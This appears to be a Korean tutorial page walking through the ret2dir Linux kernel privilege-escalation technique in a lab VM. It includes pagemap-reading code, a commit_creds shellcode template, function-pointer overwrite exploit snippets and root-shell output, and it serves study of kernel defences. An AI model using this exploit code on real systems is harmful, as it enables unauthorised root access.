Excuse the ads! We need some help to keep our site up.

List

08.ret2dir(return-to-direct-mapped memory)

Virtual memory

https://en.wikipedia.org/wiki/Virtual_memory

MMU(Memory management unit)

https://en.wikipedia.org/wiki/Memory_management_unit

Virtual address space

https://en.wikipedia.org/wiki/Virtual_address_space

Page Table

Virtual memory map with 4 level page tables(x86-64)

 AreaSizeDescription

0000000000000000 - 00007fffffffffff

47 bitsuser space, different per mm hole caused by [48:63] sign extension

ffff800000000000 - ffff80ffffffffff

40 bitsguard hole 

ffff880000000000 - ffffc7ffffffffff

64 TBdirect mapping of all phys. memory 

ffffc80000000000 - ffffc8ffffffffff

40 bitshole

ffffc90000000000 - ffffe8ffffffffff

45 bitsvmalloc/ioremap space 

ffffe90000000000 - ffffe9ffffffffff

40 bitshole 

ffffea0000000000 - ffffeaffffffffff

40 bitsvirtual memory map (1TB) ... unused hole ... 

ffffffff80000000 - ffffffffa0000000

512 MBkernel text mapping, from phys 0

ffffffffa0000000 - fffffffffff00000

1536 MBmodule mapping space

physmap characteristics across different architectures (x86, x86-64, AArch32, AArch64).

ArchitecturePHYS_OFFSETSizeProt

x86 


(3G/1G) 0xC0000000891MBRW
(2G/2G) 0x800000001915MBRW
(1G/3G)0x400000002939MBRW
AArch32(3G/1G)0xC0000000760MBRWX

(2G/2G)0x800000001784MBRWX

(1G/3G)0x400000002808MBRWX
x86-64
0xFFFF88000000000064TBRWX
AArch64
0xFFFFFFC000000000256GBRWX

https://www.usenix.org/system/files/conference/usenixsecurity14/sec14-paper-kemerlis.pdf - Table 1: physmap characteristics across different architectures (x86, x86-64, AArch32, AArch64).

pagemap file

BitsPresentswap
0-54페이지 프레임 번호(PFN,Page Frame Number)0-4스왑 유형(Swap Type)
5-54스왑 오프셋(Swap Offset)
55pte is soft-dirty (see Documentation/vm/soft-dirty.txt)
56page exclusively mapped (since 4.2)
57-60Zero
61file-page or shared-anon (since 3.5)
62swapped
63present

Example

Operating System Information

w00t@vlux:~$ uname -a
Linux vlux 3.8.0-19-generic #30~precise1-Ubuntu SMP Wed May 1 22:26:36 UTC 2013 x86_64 GNU/Linux
w00t@vlux:~$
w00t@vlux:~/ekit$ cat /proc/cpuinfo |grep flags
flags		: fpu vme de pse tsc msr pae mce cx8 apic sep mtrr pge mca cmov pat pse36 clflush dts mmx fxsr sse sse2 ss syscall nx pdpe1gb rdtscp lm constant_tsc arch_perfmon pebs bts nopl xtopology tsc_reliable nonstop_tsc aperfmperf eagerfpu pni pclmulqdq ssse3 fma cx16 pcid sse4_1 sse4_2 x2apic movbe popcnt tsc_deadline_timer aes xsave avx f16c rdrand hypervisor lahf_lm abm ida arat epb xsaveopt pln pts dtherm fsgsbase tsc_adjust bmi1 avx2 smep bmi2 invpcid

flags		: fpu vme de pse tsc msr pae mce cx8 apic sep mtrr pge mca cmov pat pse36 clflush dts mmx fxsr sse sse2 ss syscall nx pdpe1gb rdtscp lm constant_tsc arch_perfmon pebs bts nopl xtopology tsc_reliable nonstop_tsc aperfmperf eagerfpu pni pclmulqdq ssse3 fma cx16 pcid sse4_1 sse4_2 x2apic movbe popcnt tsc_deadline_timer aes xsave avx f16c rdrand hypervisor lahf_lm abm ida arat epb xsaveopt pln pts dtherm fsgsbase tsc_adjust bmi1 avx2 smep bmi2 invpcid
w00t@vlux:~/ekit$ 

Build & Setting

w00t@vlux:~$ cd ekit/
w00t@vlux:~/ekit$ ls
include  ret2dir  ret2usr  runme  utils
w00t@vlux:~/ekit$ ./runme 
|=-------------------------------------------------------------------------=|
|=------[ Return-to-direct-mapped memory (ret2dir) Exploitation Kit ]------=|
|=-------------------------------------------------------------------------=|
|=-------[ Network Security Lab (NSL) # http://nsl.cs.columbia.edu ]-------=|
|=-------------------------[ Columbia University ]-------------------------=|
|=-------------[ Vasileios P. Kemerlis (vpk@cs.columbia.edu) ]-------------=|
|=-------------------[ http://www.cs.columbia.edu/~vpk ]-------------------=|
|=-------------------------------------------------------------------------=|

Kernel version	: 3.8.0-19-generic
Prot. (ret2usr)	: SMEP [+] SMAP [-] KERNEXEC [-] UDEREF [-]
CPU		: Intel(R) Core(TM) i7-4771 CPU @ 3.50GHz (#2)
RAM		: 1988 MB

Available exploits:
  [1] PERF_EVENTS
      EDB-ID: 26131 (http://www.exploit-db.com/exploits/26131/)
      CVE-ID: 2013-2094 (signedness error)
  [2] kernwrite
      EDB-ID: NONE
      CVE-ID: NONE (function/data pointer overwrite)
  [0] Exit
> 2
Available variants:
 >[1] ret2dir
      Bypasses: SMEP, SMAP, KERNEXEC, UDEREF
  [2] ret2usr
  [0] Exit
> 1
<-f/--fptr> or <-d/--dptr> > f
kernwrite_amd64: [Warn] `mode' was not specified -- using -f (--fptr)
kernwrite_amd64: [Warn] invalid `prepare_kernel_cred' address -- 0
[*] `prepare_kernel_cred' at 0xffffffff81086870
kernwrite_amd64: [Warn] invalid `commit_creds' address -- 0
[*] `commit_creds' at 0xffffffff810865f0         
[*] 0x7fcc9715d000 is kernel-mapped at 0xffff88002d3ba000
[+] shellcode is at 0xffff88002d3ba000
[+] p0wned [^_-]
# id
uid=0(root) gid=0(root) groups=0(root)
#

kernwrite.c - kernwrite_init()

...

/*
 * struct dummy_ops
 *
 * definition of a dummy structure that contains
 * a function pointer and a generic data field
 */
struct dummy_ops {
	size_t val;
	ssize_t (*fptr)(void);
};

/* 
 * a kernel-mapped `dummy_ops' structure
 */
static struct dummy_ops ops;

/* a kernel-mapped data pointer to `ops' */
static struct dummy_ops *ops_ptr;

...

/* module loading callback */
static int
kernwrite_init(void)
{
	/* initialize the data pointer to `ops' */
	ops_ptr = &ops;

	/* create the kernwrite directory in debugfs */
	kernwrite_root = debugfs_create_dir("kernwrite", NULL);

	/* failed */
	if (kernwrite_root == NULL) {
		/* verbose */
		printk(KERN_ERR "kernwrite: creating root dir failed\n");
		return -ENODEV;
	}

	/* create the files with the appropriate `fops' struct and perms */
	over_func_ptr	= debugfs_create_file("over_func_ptr",
						0222,
						kernwrite_root,
						NULL,
						&over_func_fops);
	
	over_data_ptr	= debugfs_create_file("over_data_ptr",
						0222,
						kernwrite_root,
						NULL,
						&over_data_fops);

	invoke_func_ptr	= debugfs_create_file("invoke_func",
						0222,
						kernwrite_root,
						NULL,
						&invoke_func_fops);

	/* error handling */
	if (over_func_ptr	== NULL	||
		over_data_ptr	== NULL	||
		invoke_func_ptr	== NULL)
		goto out_err;
	
	/* return with success */
	return 0;

out_err:	/* cleanup */
	printk(KERN_ERR "kernwrite: creating files in root dir failed\n");
	cleanup_debugfs();

	/* return with failure */
	return -ENODEV;
}

kernwrite.c - over_func()

/*
 * writing to the `over_func_ptr' file overwrites
 * the function pointer of `ops' with an arbitrary,
 * user-controlled value
 */
static ssize_t
over_func(struct file *f, const char __user *buf,
		size_t count, loff_t *off)
{
	/* address buffer */
	char addr[ADDR_SZ];

	/* cleanup */
	memset(addr, 0 , ADDR_SZ);

	/* copy the buffer to kernel space */
	if (copy_from_user(addr,
			buf,
			(count < ADDR_SZ - 1) ? count : ADDR_SZ - 1)  != 0) {
		/* failed */
		printk(KERN_ERR
			"kernwrite: overwriting the function pointer failed\n");
		return -EINVAL;
	}

	/* overwrite the function pointer */
	ops.fptr	= (void *)simple_strtol(addr, NULL, 16);
	f->private_data = ops.fptr;

	/* verbose */
	printk(KERN_DEBUG
	"kernwrite: overwriting function pointer with 0x%p\n", ops.fptr);

	/* done! */
	return count;
}

kernwrite.c - invoke_func()

/*
 * writing to the `invoke_func' file calls
 * the `fptr' member of `ops' via `opt_ptr'
 */
static ssize_t
invoke_func(struct file *f, const char __user *buf, size_t count, loff_t *off)
{
	/* verbose */
	printk(KERN_DEBUG "kernwrite: executing at 0x%p\n", ops_ptr->fptr);

	/* do it */
	return ops_ptr->fptr();
}

Proof of Concept

Get the Present bit & PFN from "pagemap" file

#include <err.h>
#include <errno.h>
#include <fcntl.h>
#include <getopt.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/mman.h>

/* constants */
#define PATH_SZ			32					/* path size (/proc/<pid>/pagemap) */
#define PRESENT_MASK	(1ULL << 63)		/* get bit 63 from a 64-bit integer */
#define PFN_MASK		((1ULL << 55) - 1)	/* get bits 0-54 from */

#define ALLOC_STEP    1024*1024*512    		/* chunk of 512MB */

void querypmap(pid_t pid, unsigned long vaddr, long psize, size_t pnum)
{
    char             path[PATH_SZ];         /* path in /proc     */
    uint64_t         *pentry    = NULL;     /* pagemap entries    */
    FILE             *fp    = NULL;         /* pagemap file        */
    
    /* 페이지맵 항목 초기화 */
    if ((pentry = calloc(pnum, sizeof(uint64_t))) == NULL)
        errx(7,"[Fail] couldn't allocate memory for pagemap entries -- %s",strerror(errno));
        
    memset(path, 0, PATH_SZ);
        
    if (snprintf(path, PATH_SZ, "/proc/%d/pagemap", pid) >= PATH_SZ)        /* format the path variable */
        errx(4,"[Fail] invalid path for /proc/%d/pagemap -- %s",pid,path);
        
    if ((fp = fopen(path, "r")) == NULL)                                    /* open the pagemap file */
        errx(4,"[Fail] couldn't open %s -- %s",path,strerror(errno));
        
    if (fseek(fp, (vaddr / psize) * sizeof(uint64_t), SEEK_CUR) == -1)      /* seek to the appropriate place */
        errx(5,"[Fail] couldn't seek in pagemap -- %s",strerror(errno));    
        
    if (fread(pentry, sizeof(uint64_t), pnum, fp) != pnum)                  /* read the corresponding pagemap entries */
        errx(6,"[Fail] couldn't read pagemap entries -- %s",strerror(errno));
                        
    while (pnum > 0) {
        /* check the present bit */
        if ((pentry[pnum - 1] & PRESENT_MASK) == 0) {
            printf("[*] present bit 0\n");

            /* proper accounting */
            pnum--;
            
            /* continue with the next page */
            continue;
        }

        /* verbose */
        printf("[*] Page Number %zd\n", pnum - 1);
        printf("[*] present bit 1\n");
        printf("[*] PFN is %llu\n\n", pentry[pnum - 1] & PFN_MASK);

        /* proper accounting */
        pnum--;
    }
                            
    /* cleanup */
    fclose(fp);
    return;
}
    
void main()
{
    long psize;                			/* page size        */
    char     *code        = NULL;    		/* shellcode buffer */
    
    /* get the page size */
    if ((psize = sysconf(_SC_PAGESIZE)) == -1)
    /* failed */
        errx(2,
             "[Fail] couldn't read page size -- %s",
             strerror(errno));
    
    /* allocate ALLOC_STEP bytes in user space */
    if ((code = mmap(NULL,
                     ALLOC_STEP,
                     PROT_READ | PROT_WRITE,
                     MAP_PRIVATE | MAP_ANONYMOUS | MAP_POPULATE,
                     -1,
                     0)) == MAP_FAILED)
    /* failed */
        errx(7,
             "[Fail] couldn't allocate memory -- %s", strerror(errno));

    /* see if user space is kernel-mapped */
    querypmap(getpid(),
                    (unsigned long)code,
                    psize,
                    ALLOC_STEP / psize);
    
}
w00t@vlux:~/re2dir$ gcc -o get_info get_info.c
w00t@vlux:~/re2dir$ ./get_info 
[*] Page Number 131071
[*] present bit 1
[*] PFN is 388370

[*] Page Number 131070
[*] present bit 1
[*] PFN is 388369

[*] Page Number 131069
[*] present bit 1
[*] PFN is 388368

...

Find physical addresses mapped to virtual pages

#include <err.h>
#include <errno.h>
#include <fcntl.h>
#include <getopt.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/mman.h>

/* constants */
#define PATH_SZ		32        /* path size (/proc/<pid>/pagemap) */
#define PRESENT_MASK	(1ULL << 63)     /* get bit 63 from a 64-bit integer */
#define PFN_MASK	((1ULL << 55) - 1)    /* get bits 0-54 from */

#define ALLOC_STEP    1024*1024*512    /* chunk of 512MB */

#define PAGE_OFFSET    0xFFFF880000000000UL    /* kernel space */
#define KERN_EXEC_LOW    0xFFFF880030400000UL    /* exec range start */
#define KERN_EXEC_HIGH    0xFFFF880080000000UL    /* exec range end */

void querypmap(pid_t pid, unsigned long vaddr, long psize, size_t pnum)
{
    char             path[PATH_SZ];         /* path in /proc     */
    uint64_t         *pentry    = NULL;     /* pagemap entries    */
    FILE             *fp    = NULL;         /* pagemap file        */
    unsigned long         kaddr    = 0;     /* helper */
    
    /* 페이지맵 항목 초기화 */
    if ((pentry = calloc(pnum, sizeof(uint64_t))) == NULL)
        errx(7,"[Fail] couldn't allocate memory for pagemap entries -- %s",strerror(errno));
        
    memset(path, 0, PATH_SZ);
        
    if (snprintf(path, PATH_SZ, "/proc/%d/pagemap", pid) >= PATH_SZ)        /* format the path variable */
        errx(4,"[Fail] invalid path for /proc/%d/pagemap -- %s",pid,path);
        
    if ((fp = fopen(path, "r")) == NULL)                                    /* open the pagemap file */
        errx(4,"[Fail] couldn't open %s -- %s",path,strerror(errno));
        
    if (fseek(fp, (vaddr / psize) * sizeof(uint64_t), SEEK_CUR) == -1)      /* seek to the appropriate place */
        errx(5,"[Fail] couldn't seek in pagemap -- %s",strerror(errno));    
        
    if (fread(pentry, sizeof(uint64_t), pnum, fp) != pnum)                  /* read the corresponding pagemap entries */
        errx(6,"[Fail] couldn't read pagemap entries -- %s",strerror(errno));

    vaddr += ((pnum - 1) * psize);                            
    while (pnum > 0) {
        /* check the present bit */
        if ((pentry[pnum - 1] & PRESENT_MASK) == 0) {
            warnx("[Warn] %#lx is not present in physical memory",vaddr);

            /* proper accounting */
            kaddr    = 0;
            vaddr    -= psize;
            pnum--;
            
            /* continue with the next page */
            continue;
        }

	    /* get the kernel-mapped address of vaddr */
        kaddr = ((pentry[pnum - 1] & PFN_MASK) * psize) + PAGE_OFFSET + (vaddr & (psize - 1));
             
        /* valid match ? */
        if (kaddr >= KERN_EXEC_LOW && kaddr <= KERN_EXEC_HIGH){
	        printf("[*] Found KERN_EXEC Zone!\n\n");

            /* verbose */
		    printf("[*] Page Number %zd\n", pnum - 1);
            printf("[*] present bit 1\n");
            printf("[*] PFN is %llu\n", pentry[pnum - 1] & PFN_MASK);
            printf("[*] %#lx is kernel-mapped at %#lx\n\n",vaddr,kaddr);

            /* yeah baby */
            break;
	    }

        /* proper accounting */
        kaddr    = 0;
        vaddr    -= psize;
        pnum--;
    }
                            
    /* cleanup */
    fclose(fp);
    return;
}
    
void main()
{
    long psize;                			/* page size        */
    char     *code        = NULL;    		/* shellcode buffer */
    
    /* get the page size */
    if ((psize = sysconf(_SC_PAGESIZE)) == -1)
    /* failed */
        errx(2,
             "[Fail] couldn't read page size -- %s",
             strerror(errno));
    
    /* allocate ALLOC_STEP bytes in user space */
    if ((code = mmap(NULL,
                     ALLOC_STEP,
                     PROT_READ | PROT_WRITE,
                     MAP_PRIVATE | MAP_ANONYMOUS | MAP_POPULATE,
                     -1,
                     0)) == MAP_FAILED)
    /* failed */
        errx(7,
             "[Fail] couldn't allocate memory -- %s", strerror(errno));

    /* see if user space is kernel-mapped */
    querypmap(getpid(),
                    (unsigned long)code,
                    psize,
                    ALLOC_STEP / psize);
    
}
w00t@vlux:~/re2dir$ ./get_mapping_info 
[*] Found KERN_EXEC Zone!

[*] Page Number 131071
[*] present bit 1
[*] PFN is 260299
[*] 0x7f1a5582c000 is kernel-mapped at 0xffff88003f8cb000

w00t@vlux:~/re2dir$

Write the shellcode to physical memory

    /* shellcode stitching */
	code += res.pnum * psize;
	memcpy(code, shell_tmpl, SHELL_PREFIX);
				code += SHELL_PREFIX;
	memcpy(code, &caddr, sizeof(unsigned));
				code += sizeof(unsigned);
	memcpy(code, &shell_tmpl[SHELL_PREFIX], SHELL_ADV);
				code += SHELL_ADV;
	memcpy(code, &paddr, sizeof(unsigned));
				code += sizeof(unsigned);
	memcpy(code, &shell_tmpl[SHELL_PREFIX + SHELL_ADV], SHELL_SUFFIX);				
#elif	defined(__x86_64__)	/* x86-64 */
#define SHELL_PREFIX	8		/* 8 bytes of "prefix" code */
#define SHELL_SUFFIX	24		/* 24 bytes of "suffix" code */
#define	SHELL_ADV	3		/* 3 bytes of code advancement */
static char shell_tmpl[] =
		"\x55"			/* push	%rbp		*/
		"\x48\x89\xe5"		/* mov	%rsp, %rbp	*/
		"\x53"			/* push	%rbx		*/
		"\x48\xc7\xc3"		/* mov	$<kaddr>, %rbx	*/
		"\x48\xc7\xc0"		/* mov	$<kaddr>, %rax	*/
	"\x48\xc7\xc7\x00\x00\x00\x00"	/* mov	$0x0, %rdi	*/
		"\xff\xd0"		/* callq *%rax		*/
		"\x48\x89\xc7"		/* mov	%rax, %rdi	*/
		"\xff\xd3"		/* callq *%rbx		*/
	"\x48\xc7\xc0\x00\x00\x00\x00"	/* mov	$0x0, %rax	*/
		"\x5b"			/* pop	%rbx		*/
		"\xc9"			/* leaveq		*/
		"\xc3";			/* ret			*/
#endif

#endif 	/* __SHELLCODE_H__ */

Execute shellcode from virtual memory address.

	/* prepare to overwrite a function pointer via `kernwrite' */
	memset(saddr, 0, ADDR_SZ);
	sprintf(saddr, "%#lx", res.btarget);
	/* verbose */
	fprintf(stdout, "[+] shellcode is at %s\n", saddr);
	
	/* do it (kernwrite specific) */
	if ((fd = open("/sys/kernel/debug/kernwrite/over_func_ptr",
					O_WRONLY)) == -1)
		errx(8, "[Fail] couldn't open %s -- %s",
				"/sys/kernel/debug/kernwrite/over_func_ptr",
				strerror(errno));
	if (write(fd, saddr, strlen(saddr)) != strlen(saddr))
		errx(8, "[Fail] couldn't write in %s -- %s",
				"/sys/kernel/debug/kernwrite/over_func_ptr",
				strerror(errno));
	close(fd);

	if ((fd = open("/sys/kernel/debug/kernwrite/invoke_func",
					O_WRONLY)) == -1)
		errx(9, "[Fail] couldn't open %s -- %s",
				"/sys/kernel/debug/kernwrite/invoke_func",
				strerror(errno));
	if (write(fd, "1", 1) == -1)
		errx(9, "[Fail] couldn't write in %s -- %s",
				"/sys/kernel/debug/kernwrite/invoke_func",
				strerror(errno));
	close(fd);
	
	/* check to see if we succeeded */
	if (getuid() == 0) {
		/* verbose */
		fprintf(stderr, "[+] p0wned [^_-]\n");

		/* execute a rootshell */
		execve("/bin/sh", argv, NULL);
	}

	/* l0Ooser */
	fprintf(stderr, "[-] failed to p0wn the machine\n");

Execute shellcode from virtual memory address.

	/* prepare to overwrite a function pointer via `kernwrite' */
	memset(saddr, 0, ADDR_SZ);
	sprintf(saddr, "%#lx", vaddr);
	/* verbose */
	fprintf(stdout, "[+] shellcode is at %s\n", saddr);
w00t@vlux:~/ret2dir$ gcc -o vaddr exploit\(vaddr\).c 
w00t@vlux:~/ret2dir$ ./vaddr 
[*] Found KERN_EXEC Zone!
[*] Page Number 131071
[*] 0x7f0adbb91000 is kernel-mapped at 0xffff88005fa21000

[*] `prepare_kernel_cred' at 0xffffffff81086870
[*] `commit_creds' at 0xffffffff810865f0
[+] shellcode is at 0x7f0adbb91000
Killed
w00t@vlux:~/ret2dir$
w00t@vlux:~/ret2dir$ dmesg |tail -n 42
[64312.225362] kernwrite: overwriting function pointer with 0xffff88002cfff000
[64312.225428] kernwrite: executing at 0xffff88002cfff000
[64420.963665] kernwrite: overwriting function pointer with 0xffff88002cfff000
[64420.963757] kernwrite: executing at 0xffff88002cfff000
[64436.347693] kernwrite: overwriting function pointer with 0xffff88003f75e000
[64436.347767] kernwrite: executing at 0xffff88003f75e000
[64870.608960] kernwrite: overwriting function pointer with 0x00007f0adbb91000
[64870.609081] kernwrite: executing at 0x00007f0adbb91000
[64870.609150] BUG: unable to handle kernel paging request at 00007f0adbb91000
[64870.609257] IP: [<00007f0adbb91000>] 0x7f0adbb90fff
[64870.609307] PGD 78011067 PUD 7818a067 PMD 36cd1067 PTE 800000005fa21067
[64870.609396] Oops: 0011 [#8] SMP 
[64870.609449] Modules linked in: kernwrite(OF) coretemp(F) ghash_clmulni_intel(F) aesni_intel(F) ablk_helper(F) cryptd(F) lrw(F) aes_x86_64(F) xts(F) gf128mul(F) snd_pcm(F) snd_timer(F) snd(F) psmouse(F) soundcore(F) microcode(F) snd_page_alloc(F) serio_raw(F) pcspkr(F) vmw_balloon(F) vmwgfx(F) ttm(F) drm(F) i2c_piix4(F) shpchp(F) mac_hid(F) e1000(F) mptspi(F) mptscsih(F) mptbase(F) vmw_pvscsi(F) vmxnet3(F) [last unloaded: kernwrite]
[64870.610025] CPU 1 
[64870.610045] Pid: 3393, comm: vaddr Tainted: GF     D    O 3.8.0-19-generic #30~precise1-Ubuntu VMware, Inc. VMware Virtual Platform/440BX Desktop Reference Platform
[64870.610156] RIP: 0010:[<00007f0adbb91000>]  [<00007f0adbb91000>] 0x7f0adbb90fff
[64870.610221] RSP: 0018:ffff880036653ef0  EFLAGS: 00010296
[64870.610260] RAX: ffffffffa01b7270 RBX: 0000000000000001 RCX: 00000000ffffffff
[64870.610306] RDX: 0000000000003b2b RSI: 0000000000000082 RDI: 0000000000000246
[64870.610353] RBP: ffff880036653ef8 R08: 0000000000000000 R09: 0000000000000000
[64870.610399] R10: 00000000000006c9 R11: 6974756365786520 R12: 0000000000401b20
[64870.610445] R13: ffff880036653f50 R14: ffff880036c6f900 R15: 0000000000000000
[64870.610492] FS:  00007f0adc134700(0000) GS:ffff88007c620000(0000) knlGS:0000000000000000
[64870.610550] CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033
[64870.610591] CR2: 00007f0adbb91000 CR3: 0000000036ce9000 CR4: 00000000001407e0
[64870.610663] DR0: 0000000000000000 DR1: 0000000000000000 DR2: 0000000000000000
[64870.610729] DR3: 0000000000000000 DR6: 00000000ffff0ff0 DR7: 0000000000000400
[64870.610776] Process vaddr (pid: 3393, threadinfo ffff880036652000, task ffff880036d9ae80)
[64870.610834] Stack:
[64870.610860]  ffffffffa01b507c ffff880036653f28 ffffffff8119b733 ffff880036c6f900
[64870.610957]  0000000000000000 0000000000401b20 0000000000000001 ffff880036653f78
[64870.611055]  ffffffff8119ba72 000000000000000e 000000000000000e 0000000000020000
[64870.611155] Call Trace:
[64870.611186]  [<ffffffffa01b507c>] ? invoke_func+0x2c/0x30 [kernwrite]
[64870.611234]  [<ffffffff8119b733>] vfs_write+0xb3/0x180
[64870.611274]  [<ffffffff8119ba72>] sys_write+0x52/0xa0
[64870.611315]  [<ffffffff816fad5d>] system_call_fastpath+0x1a/0x1f
[64870.611357] Code:  Bad RIP value.
[64870.611411] RIP  [<00007f0adbb91000>] 0x7f0adbb90fff
[64870.611462]  RSP <ffff880036653ef0>
[64870.611494] CR2: 00007f0adbb91000
[64870.611548] ---[ end trace 2ad46c5e91b8279d ]---
w00t@vlux:~/ret2dir$

Execute the shellcode at the physical memory address.

	/* prepare to overwrite a function pointer via `kernwrite' */
	memset(saddr, 0, ADDR_SZ);
	sprintf(saddr, "%#lx", res.btarget);
	/* verbose */
	fprintf(stdout, "[+] shellcode is at %s\n", saddr);
w00t@vlux:~/ret2dir$ gcc -o saddr exploit\(saddr\).c
w00t@vlux:~/ret2dir$ ./saddr 
[*] Found KERN_EXEC Zone!
[*] Page Number 131071
[*] 0x7f1e10d5f000 is kernel-mapped at 0xffff880034662000

[*] `prepare_kernel_cred' at 0xffffffff81086870
[*] `commit_creds' at 0xffffffff810865f0
[+] shellcode is at 0xffff880034662000
[+] p0wned [^_-]
# 

But there is a problem.

w00t@vlux:~/ekit$ cd ret2dir/
w00t@vlux:~/ekit/ret2dir$ ls
kernwrite_amd64    kernwrite_amd64-pax  perf-events_amd64.c  rds_amd64-pax  sock-diag_amd64
kernwrite_amd64.c  perf-events_amd64    rds_amd64.c          shellcode.h    sock-diag_amd64.c
w00t@vlux:~/ekit/ret2dir$ gcc -o test kernwrite_amd64.c 
w00t@vlux:~/ekit/ret2dir$ ./test
test: [Warn] `mode' was not specified -- using -f (--fptr)
test: [Warn] invalid `prepare_kernel_cred' address -- 0
[*] `prepare_kernel_cred' at 0xffffffff81086870
test: [Warn] invalid `commit_creds' address -- 0
[*] `commit_creds' at 0xffffffff810865f0
[*] 0x7f005e35b000 is kernel-mapped at 0xffff8800742e4000
[+] shellcode is at 0xffff8800742e4000
Killed
w00t@vlux:~/ekit/ret2dir$ ./test
test: [Warn] `mode' was not specified -- using -f (--fptr)
test: [Warn] invalid `prepare_kernel_cred' address -- 0
[*] `prepare_kernel_cred' at 0xffffffff81086870
test: [Warn] invalid `commit_creds' address -- 0
[*] `commit_creds' at 0xffffffff810865f0
[*] 0x7f0382843000 is kernel-mapped at 0xffff8800342e7000
[+] shellcode is at 0xffff8800342e7000
[+] p0wned [^_-]
# 
w00t@vlux:~/ekit/ret2dir$ ./kernwrite_amd64
kernwrite_amd64: [Warn] `mode' was not specified -- using -f (--fptr)
kernwrite_amd64: [Warn] invalid `prepare_kernel_cred' address -- 0
[*] `prepare_kernel_cred' at 0xffffffff81086870
kernwrite_amd64: [Warn] invalid `commit_creds' address -- 0
[*] `commit_creds' at 0xffffffff810865f0
[*] 0x7f7238c2d000 is kernel-mapped at 0xffff8800341ff000
[+] shellcode is at 0xffff8800341ff000
[+] p0wned [^_-]
# exit
w00t@vlux:~/ekit/ret2dir$ ./kernwrite_amd64
kernwrite_amd64: [Warn] `mode' was not specified -- using -f (--fptr)
kernwrite_amd64: [Warn] invalid `prepare_kernel_cred' address -- 0
[*] `prepare_kernel_cred' at 0xffffffff81086870
kernwrite_amd64: [Warn] invalid `commit_creds' address -- 0
[*] `commit_creds' at 0xffffffff810865f0
[*] 0x7f79670a8000 is kernel-mapped at 0xffff8800345ff000
[+] shellcode is at 0xffff8800345ff000
[+] p0wned [^_-]
# exit
w00t@vlux:~/ekit/ret2dir$ ./kernwrite_amd64
kernwrite_amd64: [Warn] `mode' was not specified -- using -f (--fptr)
kernwrite_amd64: [Warn] invalid `prepare_kernel_cred' address -- 0
[*] `prepare_kernel_cred' at 0xffffffff81086870
kernwrite_amd64: [Warn] invalid `commit_creds' address -- 0
[*] `commit_creds' at 0xffffffff810865f0
[*] 0x7f639b783000 is kernel-mapped at 0xffff8800341ff000
[+] shellcode is at 0xffff8800341ff000
[+] p0wned [^_-]
# exit
   0x0000000000401404 <+659>:	mov    esi,0x4025e8
   0x0000000000401409 <+664>:	mov    rdi,rax
   0x000000000040140c <+667>:	mov    eax,0x0
   0x0000000000401411 <+672>:	call   0x400d40 <fprintf@plt>
   0x0000000000401416 <+677>:	movabs rax,0xffff880001bfffff
   0x0000000000401420 <+687>:	cmp    QWORD PTR [rbp-0x8],rax
   0x0000000000401424 <+691>:	jbe    0x401436 <querypmap+709>
   0x0000000000401426 <+693>:	movabs rax,0xffff880036000000
   0x0000000000401430 <+703>:	cmp    QWORD PTR [rbp-0x8],rax
   0x0000000000401434 <+707>:	jbe    0x401458 <querypmap+743
#define KERN_EXEC_LOW    0xffff880001bfffffUL    /* exec range start */
#define KERN_EXEC_HIGH    0xffff880036000000UL    /* exec range end */
    /* see if user space is kernel-mapped */
    res = querypmap(getpid(),
                    (unsigned long)code,
                    psize,
                    ALLOC_STEP / psize);
    
    /* bad luck; try again */
    while(res.btarget == 0) {
        /* allocate ALLOC_STEP bytes in user space */
        if ((code = mmap(NULL,
                         ALLOC_STEP,
                         PROT_READ | PROT_WRITE,
                         MAP_PRIVATE | MAP_ANONYMOUS | MAP_POPULATE,
                         -1,
                         0)) == MAP_FAILED)
        /* failed */
            errx(7,
                 "[Fail] couldn't allocate memory -- %s",
                 strerror(errno));
        
        /* see if user space is kernel-mapped */
        res = querypmap(getpid(),
                        (unsigned long)code,
                        psize,
                        ALLOC_STEP / psize);
    }

    vaddr = (unsigned long)code + res.pnum * psize;
    printf("[*] Page Number %zd\n", res.pnum);
    printf("[*] %#lx is kernel-mapped at %#lx\n\n",vaddr,res.btarget);
w00t@vlux:~/ekit$ gcc -o saddr-bugfix exploit\(saddr\)-bugfix.c
w00t@vlux:~/ekit$ ./saddr-bugfix 
[*] Found KERN_EXEC Zone!
[*] Page Number 9045
[*] 0x7f533daac000 is kernel-mapped at 0xffff8800341ff000

[*] `prepare_kernel_cred' at 0xffffffff81086870
[*] `commit_creds' at 0xffffffff810865f0
[+] shellcode is at 0xffff8800341ff000
[+] p0wned [^_-]
# exit
w00t@vlux:~/ekit$ ./saddr-bugfix 
[*] Found KERN_EXEC Zone!
[*] Page Number 6486
[*] 0x7f02f232f000 is kernel-mapped at 0xffff8800341ff000

[*] `prepare_kernel_cred' at 0xffffffff81086870
[*] `commit_creds' at 0xffffffff810865f0
[+] shellcode is at 0xffff8800341ff000
[+] p0wned [^_-]
# 
  • 다음과 같이 커널 옵션을 선택한 후 빌드하면 "/sys/kernel/debug/kernel_page_tables" 파일이 생성되며, 해당 파일에서 물리 메모리에 대한 많은 정보를 확인할 수 있습니다.
    • Kernel hacking → [*] Export kernel pagetable layout to userspace via debugfs

References